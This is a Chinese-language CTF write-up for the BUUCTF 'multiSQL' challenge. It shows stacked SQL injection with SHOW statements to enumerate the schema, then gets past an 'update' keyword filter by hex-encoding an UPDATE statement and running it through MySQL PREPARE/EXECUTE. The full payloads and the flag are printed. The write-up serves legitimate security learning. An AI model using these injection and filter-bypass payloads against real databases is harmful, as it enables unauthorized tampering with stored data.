Back to Blog

【CTF题解】BUUCTF - multiSQL 堆叠注入与预处理绕过

BUUCTF Easy

[BUUCTF] multiSQL 题解

题目页面

题目分析

页面提供了一个昵称查询框,以及一个用于验证成绩的链接。简单测试后可以发现:题目的目标是修改用户“火华”的成绩,使其总分高于 425,再通过验证链接获取 Flag。

![](./buuctf-multisql.assets/屏幕截图 2026-08-10 175907.png)

![](./buuctf-multisql.assets/屏幕截图 2026-08-10 180108.png)

过滤情况与信息收集

尝试使用联合查询枚举表名和字段名时,发现输入存在关键字过滤。

![](./buuctf-multisql.assets/屏幕截图 2026-08-10 180153.png)

经测试,selectunionupdate 均被过滤,常见的绕过写法也未能成功。不过,分号 ;show 没有被拦截,因此可以利用堆叠注入执行 SHOW 语句来收集数据库结构信息。

先查询当前数据库中的表:

火华';show tables;

![](./buuctf-multisql.assets/屏幕截图 2026-08-10 180326.png)

可以得到表名为 score。接着查询字段:

火华';show columns from score;

![](./buuctf-multisql.assets/屏幕截图 2026-08-10 180403.png)

由回显可知,score 表包含以下字段:

  • username
  • listen
  • read
  • write

绕过 update 过滤

已知表结构后,原本需要执行的更新语句为:

update score set listen=999 where username='火华';

由于 update 被 WAF 过滤,可以借助 MySQL 的预处理语句绕过检测。其核心思路是:先将 SQL 语句以十六进制形式存入变量,再使用 PREPAREEXECUTE 间接执行。这样,输入中不会直接出现被拦截的 update 关键字。

将上述 SQL 转换为十六进制:

0x7570646174652073636f726520736574206c697374656e3d39393920776865726520757365726e616d653d27e781abe58d8e273b

最终提交的 Payload 如下:

火华';set @a=0x7570646174652073636f726520736574206c697374656e3d39393920776865726520757365726e616d653d27e781abe58d8e273b;prepare b from @a;execute b;-- 

成功执行后,“火华”的 listen 成绩会被改为 999,总分自然超过 425。也可以按需修改其他分数字段;关键是保证总分满足题目要求。

获取 Flag

执行 Payload 后,点击页面中的成绩验证链接,即可得到 Flag:

![](./buuctf-multisql.assets/屏幕截图 2026-08-10 180519.png)

flag{Ju3t_use_mo2e_t2en_0ne_SQL}